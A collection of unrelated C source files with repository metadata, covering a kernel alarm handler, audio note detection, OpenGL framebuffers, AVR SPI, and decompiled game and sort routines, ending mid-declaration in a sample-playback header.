#include<stdio.h> #define SUCCESS 0 #define NA -1 #define N 9 #define M 4 /* * Merge an array of size n into another * array of size m+n */ /* * Below function will swap the values */ void swap(int *a, int *b) { int temp = *a; *a = *b; *b = temp; } /* * Below function will print the array */ void print_array(int arr[]) { int i; for(i = 0 ; i < N ; ++i) printf("%d ",arr[i]); printf("\n"); } /* * This function will move the element of * the array at the last which are real number */ void move_elem_last(int arr[]) { int i = N-1; int j = N-1; while(i >= 0) { if(arr[i] != NA) { swap(arr+i, arr+j); --i, --j; } else --i; } } /* * Main merge function which will merge the * array into one */ void merge_array(int arr1[], int arr2[]) { move_elem_last(arr1); int i = M, j = 0, k = 0; while(i < N && j < M) { if(arr1[i] < arr2[j]) { arr1[k++] = arr1[i]; ++i; } else { arr1[k++] = arr2[j]; ++j; } } while(j < M) { arr1[k++] = arr2[j++]; } } int main() { int arr1[N] = {2, 8, NA, NA, NA, 13, NA, 15, 20}; int arr2[M] = {5, 7, 9, 25}; merge_array(arr1, arr2); print_array(arr1); return SUCCESS; }
2f367d47c40d50cc47393f701697baff011928fb
6aa4906d5cd2c2f114dbe03dd751784334e1f9e7
/extension/dcre/kernel/alarm.c
e262ec94e09b7993376ef18b6d7fee6d11de1fda
[]
no_license
foss-for-synopsys-dwc-arc-processors/toppers-asp
0e6e3d4eb2e0f7802f76f639ba5b050c24e543d3
e2d1e4d3f0201ca951b32fb5ee85c3a82a2fd7fd
refs/heads/master
2021-01-10T11:40:39.483912
2016-03-01T01:46:27
2016-03-01T01:46:27
43,927,522
1
1
null
null
null
null
UTF-8
C
false
false
10,839
c
alarm.c
/* * TOPPERS/ASP Kernel * Toyohashi Open Platform for Embedded Real-Time Systems/ * Advanced Standard Profile Kernel * * Copyright (C) 2000-2003 by Embedded and Real-Time Systems Laboratory * Toyohashi Univ. of Technology, JAPAN * Copyright (C) 2005-2010 by Embedded and Real-Time Systems Laboratory * Graduate School of Information Science, Nagoya Univ., JAPAN * * The above copyright holders grant permission gratis to use, * duplicate, modify, or redistribute (hereafter called use) this * software (including the one made by modifying this software), * provided that the following four conditions (1) through (4) are * satisfied. * * (1) When this software is used in the form of source code, the above * copyright notice, this use conditions, and the disclaimer shown * below must be retained in the source code without modification. * * (2) When this software is redistributed in the forms usable for the * development of other software, such as in library form, the above * copyright notice, this use conditions, and the disclaimer shown * below must be shown without modification in the document provided * with the redistributed software, such as the user manual. * * (3) When this software is redistributed in the forms unusable for the * development of other software, such as the case when the software * is embedded in a piece of equipment, either of the following two * conditions must be satisfied: * * (a) The above copyright notice, this use conditions, and the * disclaimer shown below must be shown without modification in * the document provided with the redistributed software, such as * the user manual. * * (b) How the software is to be redistributed must be reported to the * TOPPERS Project according to the procedure described * separately. * * (4) The above copyright holders and the TOPPERS Project are exempt * from responsibility for any type of damage directly or indirectly * caused from the use of this software and are indemnified by any * users or end users of this software from any and all causes of * action whatsoever. * * THIS SOFTWARE IS PROVIDED "AS IS." THE ABOVE COPYRIGHT HOLDERS AND * THE TOPPERS PROJECT DISCLAIM ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, ITS APPLICABILITY TO A PARTICULAR * PURPOSE. IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS AND THE * TOPPERS PROJECT BE LIABLE FOR ANY TYPE OF DAMAGE DIRECTLY OR * INDIRECTLY CAUSED FROM THE USE OF THIS SOFTWARE. * * @(#) $Id: alarm.c 1966 2010-11-20 07:23:56Z ertl-hiro $ */ /* * alarm handler function */ #include "kernel_impl.h" #include "check.h" #include "alarm.h" /* * default definition of trace macro */ #ifndef LOG_ALM_ENTER #define LOG_ALM_ENTER(p_almcb) #endif /* LOG_ALM_ENTER */ #ifndef LOG_ALM_LEAVE #define LOG_ALM_LEAVE(p_almcb) #endif /* LOG_ALM_LEAVE */ #ifndef LOG_ACRE_ALM_ENTER #define LOG_ACRE_ALM_ENTER(pk_calm) #endif /* LOG_ACRE_ALM_ENTER */ #ifndef LOG_ACRE_ALM_LEAVE #define LOG_ACRE_ALM_LEAVE(ercd) #endif /* LOG_ACRE_ALM_LEAVE */ #ifndef LOG_DEL_ALM_ENTER #define LOG_DEL_ALM_ENTER(almid) #endif /* LOG_DEL_ALM_ENTER */ #ifndef LOG_DEL_ALM_LEAVE #define LOG_DEL_ALM_LEAVE(ercd) #endif /* LOG_DEL_ALM_LEAVE */ #ifndef LOG_STA_ALM_ENTER #define LOG_STA_ALM_ENTER(almid, almtim) #endif /* LOG_STA_ALM_ENTER */ #ifndef LOG_STA_ALM_LEAVE #define LOG_STA_ALM_LEAVE(ercd) #endif /* LOG_STA_ALM_LEAVE */ #ifndef LOG_ISTA_ALM_ENTER #define LOG_ISTA_ALM_ENTER(almid, almtim) #endif /* LOG_ISTA_ALM_ENTER */ #ifndef LOG_ISTA_ALM_LEAVE #define LOG_ISTA_ALM_LEAVE(ercd) #endif /* LOG_ISTA_ALM_LEAVE */ #ifndef LOG_STP_ALM_ENTER #define LOG_STP_ALM_ENTER(almid) #endif /* LOG_STP_ALM_ENTER */ #ifndef LOG_STP_ALM_LEAVE #define LOG_STP_ALM_LEAVE(ercd) #endif /* LOG_STP_ALM_LEAVE */ #ifndef LOG_ISTP_ALM_ENTER #define LOG_ISTP_ALM_ENTER(almid) #endif /* LOG_ISTP_ALM_ENTER */ #ifndef LOG_ISTP_ALM_LEAVE #define LOG_ISTP_ALM_LEAVE(ercd) #endif /* LOG_ISTP_ALM_LEAVE */ #ifndef LOG_REF_ALM_ENTER #define LOG_REF_ALM_ENTER(almid, pk_ralm) #endif /* LOG_REF_ALM_ENTER */ #ifndef LOG_REF_ALM_LEAVE #define LOG_REF_ALM_LEAVE(ercd, pk_ralm) #endif /* LOG_REF_ALM_LEAVE */ /* * total number of alarm handlers */ #define tnum_alm ((uint_t)(tmax_almid - TMIN_ALMID + 1)) #define tnum_salm ((uint_t)(tmax_salmid - TMIN_ALMID + 1)) /* * get alarm handler control block for alarm handler ID */ #define INDEX_ALM(almid) ((uint_t)((almid) - TMIN_ALMID)) #define get_almcb(almid) (&(almcb_table[INDEX_ALM(almid)])) #ifdef TOPPERS_almini /* * list of alarm handler control block which is not used * * there is no place for queue entry in the alarm handler control * block, the time event block (tmevtb) is used as queue entry. */ QUEUE free_almcb; /* * initialize alarm handler */ void initialize_alarm(void) { uint_t i, j; ALMCB *p_almcb; ALMINIB *p_alminib; for (p_almcb = almcb_table, i = 0; i < tnum_salm; p_almcb++, i++) { p_almcb->p_alminib = &(alminib_table[i]); p_almcb->almsta = false; } queue_initialize(&free_almcb); for (j = 0; i < tnum_alm; p_almcb++, i++, j++) { p_alminib = &(aalminib_table[j]); p_alminib->almatr = TA_NOEXS; p_almcb->p_alminib = ((const ALMINIB *) p_alminib); queue_insert_prev(&free_almcb, ((QUEUE *) &(p_almcb->tmevtb))); } } #endif /* TOPPERS_almini */ /* * create alarm handler */ #ifdef TOPPERS_acre_alm ER_UINT acre_alm(const T_CALM *pk_calm) { ALMCB *p_almcb; ALMINIB *p_alminib; ER ercd; LOG_ACRE_ALM_ENTER(pk_calm); CHECK_TSKCTX_UNL(); CHECK_RSATR(pk_calm->almatr, TA_NULL); CHECK_ALIGN_FUNC(pk_calm->almhdr); CHECK_NONNULL_FUNC(pk_calm->almhdr); t_lock_cpu(); if (queue_empty(&free_almcb)) { ercd = E_NOID; } else { p_almcb = ((ALMCB *)(((char *) queue_delete_next(&free_almcb)) - offsetof(ALMCB, tmevtb))); p_alminib = (ALMINIB *)(p_almcb->p_alminib); p_alminib->almatr = pk_calm->almatr; p_alminib->exinf = pk_calm->exinf; p_alminib->almhdr = pk_calm->almhdr; p_almcb->almsta = false; ercd = ALMID(p_almcb); } t_unlock_cpu(); error_exit: LOG_ACRE_ALM_LEAVE(ercd); return(ercd); } #endif /* TOPPERS_acre_alm */ /* * delete alarm handler */ #ifdef TOPPERS_del_alm ER del_alm(ID almid) { ALMCB *p_almcb; ALMINIB *p_alminib; ER ercd; LOG_DEL_ALM_ENTER(almid); CHECK_TSKCTX_UNL(); CHECK_ALMID(almid); p_almcb = get_almcb(almid); t_lock_cpu(); if (p_almcb->p_alminib->almatr == TA_NOEXS) { ercd = E_NOEXS; } else if (ALMID(p_almcb) > tmax_salmid) { if (p_almcb->almsta) { p_almcb->almsta = false; tmevtb_dequeue(&(p_almcb->tmevtb)); } p_alminib = (ALMINIB *)(p_almcb->p_alminib); p_alminib->almatr = TA_NOEXS; queue_insert_prev(&free_almcb, ((QUEUE *) &(p_almcb->tmevtb))); ercd = E_OK; } else { ercd = E_OBJ; } t_unlock_cpu(); error_exit: LOG_DEL_ALM_LEAVE(ercd); return(ercd); } #endif /* TOPPERS_del_alm */ /* * start an alarm hander * the unit of almtim is system tick */ #ifdef TOPPERS_sta_alm ER sta_alm(ID almid, RELTIM almtim) { ALMCB *p_almcb; ER ercd; LOG_STA_ALM_ENTER(almid, almtim); CHECK_TSKCTX_UNL(); CHECK_ALMID(almid); CHECK_PAR(almtim <= TMAX_RELTIM); p_almcb = get_almcb(almid); t_lock_cpu(); if (p_almcb->p_alminib->almatr == TA_NOEXS) { ercd = E_NOEXS; } else if (p_almcb->almsta) { tmevtb_dequeue(&(p_almcb->tmevtb)); } else { p_almcb->almsta = true; } tmevtb_enqueue(&(p_almcb->tmevtb), almtim, (CBACK) call_almhdr, (void *) p_almcb); ercd = E_OK; t_unlock_cpu(); error_exit: LOG_STA_ALM_LEAVE(ercd); return(ercd); } #endif /* TOPPERS_sta_alm */ /* * start an alarm handler (call in non-task context, such as interrupts, exceptions) */ #ifdef TOPPERS_ista_alm ER ista_alm(ID almid, RELTIM almtim) { ALMCB *p_almcb; ER ercd; LOG_ISTA_ALM_ENTER(almid, almtim); CHECK_INTCTX_UNL(); CHECK_ALMID(almid); CHECK_PAR(almtim <= TMAX_RELTIM); p_almcb = get_almcb(almid); i_lock_cpu(); if (p_almcb->p_alminib->almatr == TA_NOEXS) { ercd = E_NOEXS; } else if (p_almcb->almsta) { tmevtb_dequeue(&(p_almcb->tmevtb)); } else { p_almcb->almsta = true; } tmevtb_enqueue(&(p_almcb->tmevtb), almtim, (CBACK) call_almhdr, (void *) p_almcb); ercd = E_OK; i_unlock_cpu(); error_exit: LOG_ISTA_ALM_LEAVE(ercd); return(ercd); } #endif /* TOPPERS_ista_alm */ /* * stop an alarm handler */ #ifdef TOPPERS_stp_alm ER stp_alm(ID almid) { ALMCB *p_almcb; ER ercd; LOG_STP_ALM_ENTER(almid); CHECK_TSKCTX_UNL(); CHECK_ALMID(almid); p_almcb = get_almcb(almid); t_lock_cpu(); if (p_almcb->p_alminib->almatr == TA_NOEXS) { ercd = E_NOEXS; } else if (p_almcb->almsta) { p_almcb->almsta = false; tmevtb_dequeue(&(p_almcb->tmevtb)); } ercd = E_OK; t_unlock_cpu(); error_exit: LOG_STP_ALM_LEAVE(ercd); return(ercd); } #endif /* TOPPERS_stp_alm */ /* * stop an alarm handler (call in non-task context) */ #ifdef TOPPERS_istp_alm ER istp_alm(ID almid) { ALMCB *p_almcb; ER ercd; LOG_ISTP_ALM_ENTER(almid); CHECK_INTCTX_UNL(); CHECK_ALMID(almid); p_almcb = get_almcb(almid); i_lock_cpu(); if (p_almcb->p_alminib->almatr == TA_NOEXS) { ercd = E_NOEXS; } else if (p_almcb->almsta) { p_almcb->almsta = false; tmevtb_dequeue(&(p_almcb->tmevtb)); } ercd = E_OK; i_unlock_cpu(); error_exit: LOG_ISTP_ALM_LEAVE(ercd); return(ercd); } #endif /* TOPPERS_istp_alm */ /* * refer the status of alarm handler */ #ifdef TOPPERS_ref_alm ER ref_alm(ID almid, T_RALM *pk_ralm) { ALMCB *p_almcb; ER ercd; LOG_REF_ALM_ENTER(almid, pk_ralm); CHECK_TSKCTX_UNL(); CHECK_ALMID(almid); p_almcb = get_almcb(almid); t_lock_cpu(); if (p_almcb->p_alminib->almatr == TA_NOEXS) { ercd = E_NOEXS; } else { if (p_almcb->almsta) { pk_ralm->almstat = TALM_STA; pk_ralm->lefttim = tmevt_lefttim(&(p_almcb->tmevtb)); } else { pk_ralm->almstat = TALM_STP; } ercd = E_OK; } t_unlock_cpu(); error_exit: LOG_REF_ALM_LEAVE(ercd, pk_ralm); return(ercd); } #endif /* TOPPERS_ref_alm */ /* * alarm handler callback routine * this function is called in signal_time(time_event.c) * in ASP kernel, the alarm handlers are processed in the interrupt handler * of system time tick. */ #ifdef TOPPERS_almcal void call_almhdr(ALMCB *p_almcb) { PRI saved_ipm; /* * stop the alarm handler */ p_almcb->almsta = false; /* * alarm handler should be called in cpu unlock status */ saved_ipm = i_get_ipm(); i_unlock_cpu(); LOG_ALM_ENTER(p_almcb); (*((ALMHDR)(p_almcb->p_alminib->almhdr)))(p_almcb->p_alminib->exinf); LOG_ALM_LEAVE(p_almcb); if (!i_sense_lock()) { i_lock_cpu(); } i_set_ipm(saved_ipm); } #endif /* TOPPERS_almcal */
2efbf86637ccab2557f8a5a35b8d25b774ee95c3
b9dc55919b29da24c24f8ee367c5618c9532f56f
/Code_source/shared/aubio/src/notes/notes.h
e93a68515ee04436b2550a2d716c49c5ff0c5f57
[ "WTFPL", "LicenseRef-scancode-unknown-license-reference", "GPL-3.0-only" ]
permissive
porres/pd-else
075e8b7ac7a78f442055fbd30d6602cae49c887e
b30e8c13c88bb9752c08f78514d64c6206d6678b
refs/heads/master
2023-08-18T22:26:31.120893
2023-08-18T00:46:59
2023-08-18T00:46:59
56,870,805
238
42
WTFPL
2023-09-12T15:55:56
2016-04-22T16:45:29
C
UTF-8
C
false
false
4,006
h
notes.h
/* Copyright (C) 2003-2014 Paul Brossier <piem@aubio.org> This file is part of aubio. aubio is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. aubio is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with aubio. If not, see <http://www.gnu.org/licenses/>. */ /** \file Note detection object */ #include <stdio.h> #ifndef _AUBIO_NOTES_H #define _AUBIO_NOTES_H #ifdef __cplusplus extern "C" { #endif /** notes detection object */ typedef struct _aubio_notes_t aubio_notes_t; /** create notes detection object \param method notes detection type as specified in specdesc.h \param buf_size buffer size for phase vocoder \param hop_size hop size for phase vocoder \param samplerate sampling rate of the input signal \return newly created ::aubio_notes_t */ aubio_notes_t * new_aubio_notes (const char_t * method, uint_t buf_size, uint_t hop_size, uint_t samplerate); /** delete notes detection object \param o notes detection object to delete */ void del_aubio_notes(aubio_notes_t * o); /** execute note detection on an input signal frame \param o note detection object as returned by new_aubio_notes() \param input input signal of size [hop_size] \param output output notes, fvec of length 3 The notes output is a vector of length 3 containing: - 0. the midi note value, or 0 if no note was found - 1. the note velocity - 2. the midi note to turn off */ void aubio_notes_do (aubio_notes_t *o, const fvec_t * input, fvec_t * output); /** set notes detection silence threshold \param o notes detection object as returned by new_aubio_notes() \param silence new silence detection threshold \return 0 on success, non-zero otherwise */ uint_t aubio_notes_set_silence(aubio_notes_t * o, smpl_t silence); /** get notes detection silence threshold \param o notes detection object as returned by new_aubio_notes() \return current silence threshold */ smpl_t aubio_notes_get_silence(const aubio_notes_t * o); /** get notes detection minimum inter-onset interval, in millisecond \param o notes detection object as returned by new_aubio_notes() \return current minimum inter onset interval */ smpl_t aubio_notes_get_minioi_ms(const aubio_notes_t *o); /** set notes detection minimum inter-onset interval, in millisecond \param o notes detection object as returned by new_aubio_notes() \param minioi_ms new inter-onset interval \return 0 on success, non-zero otherwise */ uint_t aubio_notes_set_minioi_ms (aubio_notes_t *o, smpl_t minioi_ms); /** get notes object release drop level, in dB \param o notes detection object as returned by new_aubio_notes() \return current release drop level, in dB */ smpl_t aubio_notes_get_release_drop (const aubio_notes_t *o); /** set note release drop level, in dB This function sets the release_drop_level parameter, in dB. When a new note is found, the current level in dB is measured. If the measured level drops under that initial level - release_drop_level, then a note-off will be emitted. Defaults to `10`, in dB. \note This parameter was added in version `0.4.8`. Results obtained with earlier versions can be reproduced by setting this value to `100`, so that note-off will not be played until the next note. \param o notes detection object as returned by new_aubio_notes() \param release_drop new release drop level, in dB \return 0 on success, non-zero otherwise */ uint_t aubio_notes_set_release_drop (aubio_notes_t *o, smpl_t release_drop); #ifdef __cplusplus } #endif #endif /* _AUBIO_NOTES_H */
87631877c205a2bdfbdea44d6c433e934a43944d
e4a62c2ca8cc1c1d830e02aaf767c4995a9a56e6
/framebuffermanager.c
b8ad78fa7b591e9de67ba69bc3fe4997b38b3eb2
[ "MIT" ]
permissive
roboman2444/glbody
1dccd3ece0248e10b4eed7f21e30e78aecf45044
2c52f93e9cbda38192d67a177de61c66a39ddd2c
refs/heads/master
2021-01-23T20:45:10.953086
2014-02-06T04:06:52
2014-02-06T04:06:52
null
0
0
null
null
null
null
UTF-8
C
false
false
6,999
c
framebuffermanager.c
//gloabl includes #include <GL/glew.h> #include <GL/gl.h> //local includes #include "globaldefs.h" #include "framebuffermanager.h" int fbnumber = 0; //the first is backbuffer framebuffer_t *fblist; extern int addFrameBufferToList(char *name, GLuint id, GLuint width, GLuint height, GLuint texid, char type); int initFrameBufferSystem(void){ if(fblist) free(fblist); fblist = malloc(fbnumber * sizeof(framebuffer_t)); if(!fblist) memset(fblist, 0 , fbnumber * sizeof(framebuffer_t)); addFrameBufferToList("default", 0,0,0,0, (char)0); //should put in the width/height return TRUE; // todo error check } int addFrameBufferToList(char *name, GLuint id, GLuint width, GLuint height, GLuint texid, char type){ int current = fbnumber; fbnumber++; fblist = realloc(fblist, (fbnumber)*sizeof(framebuffer_t)); fblist[current].name = name; fblist[current].id = id; fblist[current].width = width; fblist[current].height = height; fblist[current].aspect = (float)width/(float)height; fblist[current].texid = texid; fblist[current].type = type; //todo return current; } framebuffer_t returnFrameBuffer(int id){ if(id >= fbnumber) return fblist[0]; return fblist[id]; } int findFrameBufferByName(char * name){ int i; for(i = 0; i<fbnumber; i++){ if(!strcmp(name, fblist[i].name)) return i; } return 0; } int resizeFrameBuffer(GLuint id, GLuint width, GLuint height){ glBindTexture(GL_TEXTURE_2D, fblist[id].texid); glTexImage2D(GL_TEXTURE_2D, 0 , GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, NULL); glBindTexture(GL_TEXTURE_2D, 0); fblist[id].width = width; fblist[id].height = height; fblist[id].aspect = (float)width/(float)height; return id; //todo errorcheck } /* int createFramebuffer(char * name){ char * vertname = malloc(strlen(name) + 5); strcpy(vertname, name);strcat(vertname, ".vert"); char * vertstring; int vertlength; loadFileString(vertname, &vertstring, &vertlength, 2); free(vertname); if(vertlength == 0){ //error free(vertstring); return FALSE; } char * fragname = malloc(strlen(name) + 5); //add on 5 extra characters for .frag strcpy(fragname,name); strcat(fragname, ".frag"); char * fragstring; int fraglength; loadFileString(fragname, &fragstring, &fraglength, 2); free(fragname); if(fraglength == 0){ //error free(fragstring); return FALSE; } GLuint vertid = glCreateShader(GL_VERTEX_SHADER); GLuint fragid = glCreateShader(GL_FRAGMENT_SHADER); glShaderSource(vertid, 1, (const GLchar**) &vertstring, &vertlength); glShaderSource(fragid, 1, (const GLchar**) &fragstring, &fraglength); free(vertstring); free(fragstring); //TODO errorcheck glCompileShader(vertid); glCompileShader(fragid); //TODO errorcheck //TODO errorcheck for compilation GLuint programid = glCreateProgram(); //TODO errorcheck glAttachShader(programid, vertid); glAttachShader(programid, fragid); glLinkProgram(programid); //TODO errorcheck printProgramLogStatus(programid); int id = addProgramToList(name, programid, vertid, fragid); return id; //so far i am assuming that it works } */ int createFrameBuffersAndTextures(int width, int height){ GLuint velTexid, posTexid/*, massTexid*/; GLuint velFBOid, posFBOid; if (!width||!height){ printf("Error, width and height have to be > 0"); return 0; } glGenTextures(1, &velTexid); glGenTextures(1, &posTexid); if (!velTexid||!posTexid){ printf("Error creating textures"); return 0; } #ifndef ONED glBindTexture(GL_TEXTURE_2D, posTexid); glTexImage2D(GL_TEXTURE_2D, 0 , GL_RGBA, width, height, 0 , GL_RGBA, GL_FLOAT, NULL); //todo set intiail pos glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); #ifndef FLAG glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); #else glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); #endif glBindTexture(GL_TEXTURE_2D, velTexid); glTexImage2D(GL_TEXTURE_2D, 0 , GL_RGBA, width, height, 0 , GL_RGBA, GL_FLOAT, NULL); // todo set initial vel glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); #ifndef FLAG glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); #else glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); #endif #else glBindTexture(GL_TEXTURE_2D, posTexid); glTexImage1D(GL_TEXTURE_1D, 0 , GL_RGBA, width*height, 0 , GL_RGBA, GL_FLOAT, NULL); //todo set intiail pos glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); #ifndef FLAG glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); #else glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); #endif glBindTexture(GL_TEXTURE_2D, velTexid); glTexImage1D(GL_TEXTURE_1D, 0 , GL_RGBA, width*height, 0 , GL_RGBA, GL_FLOAT, NULL); // todo set initial vel glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); #ifndef FLAG glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); #else glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); #endif #endif glBindTexture(GL_TEXTURE_2D, 0); glGenFramebuffers(1, &velFBOid); glGenFramebuffers(1, &posFBOid); if (!velFBOid||!posFBOid){ printf("Error creating framebuffers"); return 0; } glBindFramebuffer(GL_FRAMEBUFFER, posFBOid); #ifndef ONED glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,GL_TEXTURE_2D, posTexid, 0); #else glFramebufferTexture1D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,GL_TEXTURE_1D, posTexid, 0); #endif glClear(GL_COLOR_BUFFER_BIT| GL_DEPTH_BUFFER_BIT); glBindFramebuffer(GL_FRAMEBUFFER, velFBOid); #ifndef ONED glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,GL_TEXTURE_2D, velTexid, 0); #else glFramebufferTexture1D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,GL_TEXTURE_1D, velTexid, 0); #endif glClear(GL_COLOR_BUFFER_BIT| GL_DEPTH_BUFFER_BIT); glBindFramebuffer(GL_FRAMEBUFFER, 0); // printf("%d\n",addFrameBufferToList("vel", velFBOid, width, height, velTexid, (char)1)); // printf("%d\n",addFrameBufferToList("pos", posFBOid, width, height, posTexid, (char)1)); addFrameBufferToList("vel", velFBOid, width, height, velTexid, (char)1); addFrameBufferToList("pos", posFBOid, width, height, posTexid, (char)1); return TRUE; }
5270ed73257a52262c025bd421dc2dd9561c14ab
07d36c5fc312873c5b5922ed0673a68dbfd54f36
/src/spi/spi.h
d5c7b056651a855cf000069cad0694e33debc24a
[]
no_license
sherrellbc/reflow_oven
effa750ac626824e288cba03881dd425733fd36e
999b76663b01558a05f1f1cbf3248868286cf907
refs/heads/master
2021-01-10T03:47:27.206348
2016-02-17T01:39:25
2016-02-17T01:39:25
51,885,025
0
0
null
null
null
null
UTF-8
C
false
false
677
h
spi.h
#ifndef _SPI_H #define _SPI_H #include <avr/io.h> #define SPI_SCK PB5 #define SPI_MISO PB4 #define SPI_MOSI PB3 #define SPI_SS PB2 #define SPI_DDR DDRB #define SPI_WAIT_TRANS_COMPLETE() while( !(SPSR & (1<<SPIF)) ) #define SPI_SELECT_SLAVE(port, dev) (port &= ~(1<<dev)) #define SPI_DESELECT_SLAVE(port, dev) (port |= (1<<dev)) /* * Initializes the SPI hardware */ void Spi_Init(); /* * Gets updated information from SPI slave specified by device * * @param sendData : Data to send to the currently selected SPI device * @return : Shifted data returned to use during the transfer of MSTR -> Slave */ uint8_t Spi_Transfer(uint8_t sendData); #endif // _SPI_H
5109d8b54c3c168c0d94030c4e185c8d99be6a8c
976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f
/source/freebsd/usr.bin/sort/extr_radixsort.c_place_item.c
49a5b80483037bc910f2c8554b3007b1fa482cc1
[]
no_license
isabella232/AnghaBench
7ba90823cf8c0dd25a803d1688500eec91d1cf4e
9a5f60cdc907a0475090eef45e5be43392c25132
refs/heads/master
2023-04-20T09:05:33.024569
2021-05-07T18:36:26
2021-05-07T18:36:26
null
0
0
null
null
null
null
UTF-8
C
false
false
997
c
extr_radixsort.c_place_item.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct sort_list_item {int dummy; } ; struct sort_level {int /*<<< orphan*/ level; struct sort_list_item** tosort; } ; /* Variables and functions */ int /*<<< orphan*/ add_leaf (struct sort_level*,struct sort_list_item*) ; int /*<<< orphan*/ add_to_sublevel (struct sort_level*,struct sort_list_item*,int) ; int get_wc_index (struct sort_list_item*,int /*<<< orphan*/ ) ; __attribute__((used)) static void place_item(struct sort_level *sl, size_t item) { struct sort_list_item *sli; int c; sli = sl->tosort[item]; c = get_wc_index(sli, sl->level); if (c == -1) add_leaf(sl, sli); else add_to_sublevel(sl, sli, c); }
c32902746693c289b9edf58089ad8f0a05112fd5
9d8fe725e79e5856b8b863abf0907a6a5f6f8a3c
/8072170.c
9428809d2e461ee93117bb030b5a60023cecca47
[]
no_license
camthesaxman/ruby-c
08bb12c3c6662b113f558a2b43a4f232fedcbd91
afb59d795416468362ddf942d4cb1fca638f2bd6
refs/heads/master
2020-12-30T16:45:53.246386
2016-09-11T22:33:27
2016-09-11T22:33:27
91,023,059
0
1
null
null
null
null
UTF-8
C
false
false
556
c
8072170.c
signed int ProcessMenuInput() { char v1; // r0@10 if ( word_300179E & 1 ) { audio_play(5); if ( byte_30006B7 ) sub_8072DEC((unsigned __int8)byte_30006B7); return byte_30006B2; } if ( !(word_300179E & 2) ) { if ( word_300179E & 0x40 ) { audio_play(5); v1 = -1; } else { if ( !(word_300179E & 0x80) ) return -2; audio_play(5); v1 = 1; } MoveMenuCursor(v1); return -2; } if ( byte_30006B7 ) sub_8072DEC((unsigned __int8)byte_30006B7); return -1; }
2d716002b875ab5c9823bd131c991f8ed2465e7e
41eb0837713f297134529591b66f3d4d82bcf98e
/src/Raine/source/sound/smp16bit.h
6edafa97deceb400cfc3412d6d8e4e098c7dc85e
[]
no_license
AlexxandreFS/Batocera.PLUS
27b196b3cbb781b6fc99e62cad855396d1d5f8f2
997ee763ae7135fdf0c34a081e789918bd2eb169
refs/heads/master
2023-08-17T21:52:39.083687
2023-08-17T15:03:44
2023-08-17T15:03:44
215,869,486
135
57
null
2023-08-14T14:46:14
2019-10-17T19:23:42
C
UTF-8
C
false
false
1,827
h
smp16bit.h
#ifdef __cplusplus extern "C" { #endif /******************************************************************************/ /* */ /* 16-BIT SAMPLE PLAYBACK (odd samples - nichibutsu dac, cabal adpcm) */ /* */ /******************************************************************************/ #ifndef __SMP16_H__ #define __SMP16_H__ void decode_sample_adpcm(UINT8 *src, UINT32 size, INT16 *dest, int volume); void decode_sample_8bit(UINT8 *src, UINT32 size, INT16 *dest, int volume); #define SMP16BF_MAX (2) #define SMP16BF_CHANNEL (1) #define SMP16BF_NUMBUF (1) typedef struct SMP16_ROM { UINT8 *data; // pointer to rom UINT32 size; // size of rom UINT32 type; // 0 - adpcm } SMP16_ROM; struct SMP16buffer_interface { int num; // number of chips int sample_rate[SMP16BF_MAX]; // rate for each chip SMP16_ROM *rom[SMP16BF_MAX]; // list of roms }; typedef struct SMP16_SAMPLE { UINT32 len; // length (in samples?) INT16 *data; // sample data (16 bit?) } 